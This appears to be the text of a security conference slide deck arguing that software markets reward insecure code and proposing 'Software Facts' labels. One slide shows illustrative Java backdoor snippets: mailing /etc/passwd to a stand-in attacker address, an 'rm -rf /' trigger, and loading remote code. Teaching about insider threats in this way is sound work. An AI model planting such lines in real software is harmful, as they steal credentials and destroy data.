



Unsafe At Any (CPU) Speed


Why We Make The Same Security Mistakes Over And Over Again

Jeff Williams
CEO, Aspect Security
jeff.williams@aspectsecurity.com

410-707-1487
Columbia, MD




Remember the Corvair?





- **25 Years Ago**
 - ▶ Most cars were built without safety features
 - ▶ No seatbelts, airbags, crumple zones, side impact protection, etc...
- **Many different forces affected the market**
 - ▶ Pinto, Nader, Oil Crisis, Regulation, lots more...
- **Automakers include more safety features**
 - ▶ Becomes a critical buying factor
 - ▶ Competitors must improve to compete
- **Today**
 - ▶ Can't sell a car without safety





Our Software Is Unsafe



- Most applications have egregious mistakes
- We don't capture application security policy and requirements
- We don't teach software developers about security
- We outsource software development overseas
- We use code from untrusted (open) sources
- Most source code is never reviewed
- We rely on scanning and penetration testing
- We don't ask vendors why we should trust their software

We don't have any idea whether our code is trustworthy or not



- **Applications are easily compromised**
 - ▶ Generally hours, always in days
 - ▶ No special knowledge or tools required

- **“New” vulnerabilities are exceedingly rare**
 - ▶ We’re making the same mistakes over and over

- **No differences between...**
 - ▶ Healthcare, financial, utilities, e-commerce, government, military
 - ▶ Intranet, Extranet, Internet

- **Projects are ignoring application security**
 - ▶ Requirements do not cover application security
 - ▶ Testing and C&A do not cover application security



■ Complex


- ▶ Millions of lines of code
- ▶ Leaky abstractions
- ▶ Massively interconnected

■ Compiled

- ▶ Difficult to reverse engineer
- ▶ Different on every platform

■ Legal Protections

- ▶ No peeking
- ▶ We're not liable





Audit Exercise

```
public class DamagedStrutsForm extends ActionForm
{
    public void doForm( HttpServletRequest request) {
        UserBean u = session.getUserBean();
        u.setName(request.getParameter("name"));
        u.setFavoriteColor(request.getParameter("color"));
    }

    public boolean validate( HttpServletRequest request) {
        try {
            if ( request.getParameter("Name").indexOf("<scri") != -1 ) {
                logger.log("Script detected" );
                return false;
            }
        }
        catch( Exception e ) {}
        return true;
    }
}
```

Does not invoke validate

Tainted data

Unvalidated

Weak filter

Wrong case

Fail open



What Could a Malicious Developer Do?

■ Trojan Horse runs for admin

```
if ( System.getCurrentUser().getName().equals( "admin" ) )  
    Runtime.exec( "sendmail hacker@badguys.com < /etc/passwd" );
```

■ Secret trigger removes all files on root partition

```
if( req.getParameter( "codeword" ).equals( "eagle" ) )  
    Runtime.exec( "rm -rf /" );
```

■ Randomly corrupt data one time in 100

```
if ( Math.random() < .01 ) bean.setValue( "corrupt" );
```

■ Load and execute code from remote server

```
((A) (ClassLoader.getSystemClassLoader().defineClass  
    (null, readBytesFromNetwork(), 0, 422).newInstance())).attack();
```

■ Make backdoor look like inadvertent mistake

```
if ( input < 0 ) throw new RuntimeException( "Input error" );
```

Impossible to tell malicious from mistake

Who wrote the libraries your application uses?




■ Network Security

- ▶ Part of IT
- ▶ Networking Experts
- ▶ Product Focused
- ▶ 1000's of Copies
- ▶ Signature Based
- ▶ Patch Management

■ Software Security

- ▶ Part of Business Units
- ▶ Software Experts
- ▶ Custom Code Focused
- ▶ 1 Copy of Software
- ▶ No Signatures
- ▶ Prevent Vulnerabilities

Don't let anyone rely on network security techniques to gain software security



The combined approach is the most cost-effective



- **Lots of Techniques**
 - ▶ **Formal Modeling**
 - ▶ **Process Assurance**
 - ▶ **Penetrate and Patch**
 - ▶ **Manual Code Review**
 - ▶ **Static Analysis**
 - ▶ **Developer Training**
 - ▶ **Top Ten Lists**
 - ▶ **Secure Programming Books**
 - ▶ **Bugtraq**
 - ▶ **Common Criteria**

None of these are changing the way
software gets developed



■ “The Market for Lemons”

- ▶ By George Akerlof in 1970 (Nobel Prize for Economics in 2001 for this work)
- ▶ Buyers can't tell cherries from lemons (asymmetric information)
- ▶ Market price decreases to compensate for the risk
- ▶ Cherry owners are less inclined to sell
- ▶ Therefore, even a competitive market is filled with lemons



- **Worse than the automobile market**

- **Asymmetric information is carefully protected**
 - ▶ **Extremely difficult to analyze software (even with source)**
 - ▶ **Restrictive license agreements**
 - ▶ **Legal and regulatory restrictions on security analysts**

- **Virtually guarantees insecure software**
 - ▶ **If you can't tell the difference, why pay more?**
 - ▶ **No way to establish the benefit of secure software**

- **Until recently, making secure software didn't make sense**



Fixing a Broken Market



- **In a rational software market....**
 - ▶ **Buyers and sellers would share an understanding of security**
 - ▶ **Market forces determine what the right level of security is**



■ Facts

- ▶ How many lines of code?
- ▶ What languages are used?
- ▶ What libraries does this application use (and how)?
- ▶ What type of network access is required (client, server, none)?
- ▶ What security mechanisms are used?
- ▶ What are the configuration files associated with the application?

■ Vendor Input

- ▶ How are sensitive assets protected?
- ▶ What vulnerabilities have been identified in this product?
- ▶ How to find security documentation (design, test results, vulnerabilities)?
- ▶ How should security flaws be reported?
- ▶ Who developed this code?
- ▶ What assurance activities occurred (analysis, code review, test, evaluation)?



- “Security Facts”
 - ▶ Voluntary
 - ▶ Absolutely simple to produce for vendors
 - ▶ Perhaps a central repository?
 - ▶ Make tools available to everyone

- Contents
 - ▶ Facts automatically generated
 - ▶ Other vendor claims in a standard format

- Empower consumers

Ingredients: Sun Java 1.5 runtime, Sun J2EE 1.2.2, Jakarta log4j 1.5, Jakarta Commons 2.1, Jakarta Struts 2.0, Harold XOM 1.1rc4, Hunter JDOMv1

Software Facts			
Expected Number of Users		15	
Typical Roles per Instance		4	
Amount Per Serving			
Modules	155	Modules from Libraries	120
% Vulnerability*			
Cross Site Scripting	22		65%
<i>Reflected</i>	12		15%
<i>Stored</i>	10		
SQL Injection	2		10%
Buffer Overflow	5		95%
Total Security Mechanisms	3		10%
Modularity	.035		0%
Cyclomatic Complexity	323		
Encryption	3		
Authentication	15		4%
Access Control	3		2%
Input Validation	233		20%
Logging	33		4%
* % Vulnerability values are based on typical use scenarios for this product. Your Vulnerability Values may be higher or lower depending on your software security needs:			
	Usage	Intranet	Internet
Cross Site Scripting	Less Than	10	5
Reflected	Less Than	10	5
Stored	Less Than	10	5
SQL Injection	Less Than	20	2
Buffer Overflow	Less Than	20	2
Security Mechanisms		10	14
Encryption		3	15
		-	-



- **Why study libraries?**
 - ▶ **Modern applications use libraries**
 - ▶ **We know what the libraries do**
 - ▶ **Lots of information to gather**

- **Interesting information**
 - ▶ **Calls to security mechanisms**
 - » **This application uses SHA-1**
 - ▶ **Calls to dangerous methods**
 - » **Use of Runtime.exec()**
 - ▶ **Calls to different technologies**
 - » **This application uses SOAP**
 - ▶ **Failure to use a mechanism**
 - » **No logging in application**
 - » **No regular expressions used**
 - » **No standard authentication**



AspectCheck Report for JavaPetStore v1.3.2
6/5/2004

Purpose of Report

This report is intended to provide insight into the security of a software baseline. The findings are based on extensive static analysis of any compiled software found in the directory selected for analysis. All class, jar, and zip files are found, but only code actually invoked from the selected package is analyzed.

The findings in this report are NOT confirmed vulnerabilities. Rather, they should be treated as facts and metrics that may be useful in determining whether or not an application is likely to contain vulnerabilities. Automated analysis of software for vulnerabilities is beyond the state of the art and is likely to remain so for a long time. There is broad consensus among security experts that a source code review by security experts is the only way to reliably gain assurance in an application. These results may be helpful in prioritizing applications for such a review.

Findings Summary - More bars indicates increased need to examine code.

Category	Severity	Progress
Access Control	GUARDED	2/5 bars
Accountability and Logging	HIGH	4/5 bars
Application Configuration	GUARDED	2/5 bars
Authentication and Session Management	ELEVATED	3/5 bars
Client Program	LOW	1/5 bars
Concurrency	LOW	1/5 bars
Cryptography	LOW	1/5 bars
Database Access	SEVERE	4/5 bars
Denial of Service	SEVERE	4/5 bars
Dynamic Code	GUARDED	2/5 bars
Error Handling	LOW	1/5 bars
File System	HIGH	4/5 bars
Input Validation	HIGH	4/5 bars
Native Code Use	LOW	1/5 bars



Choose a Product Category



Auto Products

Brake Fluid, De-icer, Lubricant, Sealant, and more...



Inside the Home

Air Freshener, Bleach, Toilet Bowl Cleaner, and more...


Pesticides

Animal Repellent, Fungicide, Herbicide, Insecticide, and more...



Landscape / Yard

Fertilizer, Lawn Care, Swimming Pool Products, and more...



Personal Care / Use

Antiperspirant, Hair Spray, Makeup, Shampoo, Soap, and more...




Home Maintenance

Caulk, Grout, Insulation, Paint, Putty, Stain, and more...

Arts & Crafts

Adhesive, Glaze, Glue, Primer, Varnish, and more...



Pet Care

Flea & Tick Control, Litter, Stain/Odor Remover, and more...



- Prepared by manufacturers or importers to describe characteristics of the product and to provide information concerning potential hazards.
- Must be readily available for employee review at all times the employee is in the work place.
- Information in an MSDS
 - ▶ Company Information
 - ▶ Hazardous Ingredients
 - ▶ Physical Data
 - ▶ Fire and Explosion Hazard Data
 - ▶ Health Hazard Data
 - ▶ Reactivity Data
 - ▶ Spill or Leak Procedures
 - ▶ Special Protection Information
 - ▶ Special Precautions



■ Challenge

- ▶ Produce code that we can trust

■ Obstacles

- ▶ Huge numbers of legacy applications
- ▶ Huge numbers of applications in deployment
- ▶ Minimal understanding of the problem
- ▶ Market forces working in opposite direction

■ Approach

- ▶ Influence market to encourage secure software



Thank You



■ Questions and Discussion?